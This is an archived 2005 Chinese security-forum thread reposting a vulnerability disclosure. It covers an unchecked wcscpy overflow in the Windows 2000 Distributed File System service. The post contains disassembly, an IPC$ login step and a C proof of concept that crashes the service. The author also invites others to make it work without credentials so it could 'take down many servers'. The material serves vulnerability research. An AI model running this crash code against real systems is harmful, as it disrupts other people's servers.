邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-3-15 06:27

[转载]Win2k Ad Server Distributed File System服务远程溢出

文章作者:fzk/rootshell

1.前言:
   最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个
溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生
溢出,不知道这样的问题,属于不属于安全漏洞呢?

   今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行
溢出,那这个就算真正的安全问题了,而且危害性肯定也强了,那当然也记得给我发个信通知一下如何实现.:)

2.问题细节:
   这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数
上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行
边界检查,导致溢出的代码如下:

NetrDfsAddStdRootForced函数
...............
  .text:0100A2B5            mov    edi, [ebp+arg_C]
  .text:0100A2B8            test   edi, edi
  .text:0100A2AF            jz    loc_100A373
...............
  .text:0100A31F            push   edi
  .text:0100A320            push   1
  .text:0100A322            push   [ebp+arg_8]
  .text:0100A325            lea    eax, [ebp+var_214]
  .text:0100A32B            push   [ebp+arg_4]
  .text:0100A32E            push   eax
  .text:0100A32F            call   SetupStdDfs
...............
  SetupStdDfs函数
.text:01007FB4            push   ebp
.text:01007FB5            mov    ebp, esp
.text:01007FB7            sub    esp, 658h
.text:01007FBD            push   ebx
.text:01007FBE            mov    ebx, ds:wcscpy
.text:01007FC4            push   esi
.text:01007FC5            push   edi
.text:01007FC6            xor    esi, esi
.text:01007FC8            xor    edi, edi
.text:01007FCA            cmp    [ebp+arg_10], esi
.text:01007FCD            jnz    short loc_1007FE2
...............
.text:01007FE2 loc_1007FE2:
.text:01007FE2            push   [ebp+arg_10]
.text:01007FE5            lea    eax, [ebp+var_43C]
.text:01007FEB            push   eax
.text:01007FEC            call   ebx ; wcscpy

调用流程为:

NetrDfsAddStdRootForced->SetupStdDfs->wcscpy


3.溢出测试方法:

(1).先使用目标机器的管理员组成员建立一个ipc$连接
net use \\目标机器ip\ipc$ 管理员组成员密码 /user:管理员组成员账号

(2).使用如下测试代码测试:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Lm.h>
#include <Lmdfs.h>

#pragma comment(lib, "Netapi32.lib")

int main (void)
{
wchar_t a[]=L"\\\\ip\\"; //把ip替换为你的目标机器ip
wchar_t b[4000];
LPWSTR ServerName=a;
LPWSTR RootShare=L"fzk";
LPWSTR Comment=L"fzk";
LPWSTR Store;
int i;

for (i = 0; i< 2000;i++)
    wcscat(b, L"A");

Store = b;

if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)
    return TRUE;

else
    return FALSE;
}

把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的
Distributed File System服务已经down掉了

4.附加信息:
在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了
Distributed File System服务在windows 2000服务器下面是默认开放的
如果有高手能实现不用任何权限来进行溢出,应该可以干掉很多windows 2000的服务器
当然也记得通知我
email:sysadm@21cn.com
qq:1734398
MSN:sysadm@21cn.com

sunlion 2005-3-15 14:05

:)手好快啊!昨天我看到了,准备要贴上来的:)
呵呵,你什么时候就贴了!:)
昨天找到rootshell的页子,呵呵才找到我 要的东西了:)
呵呵!

页: [1]
© 1999-2008 EvilOctal Security Team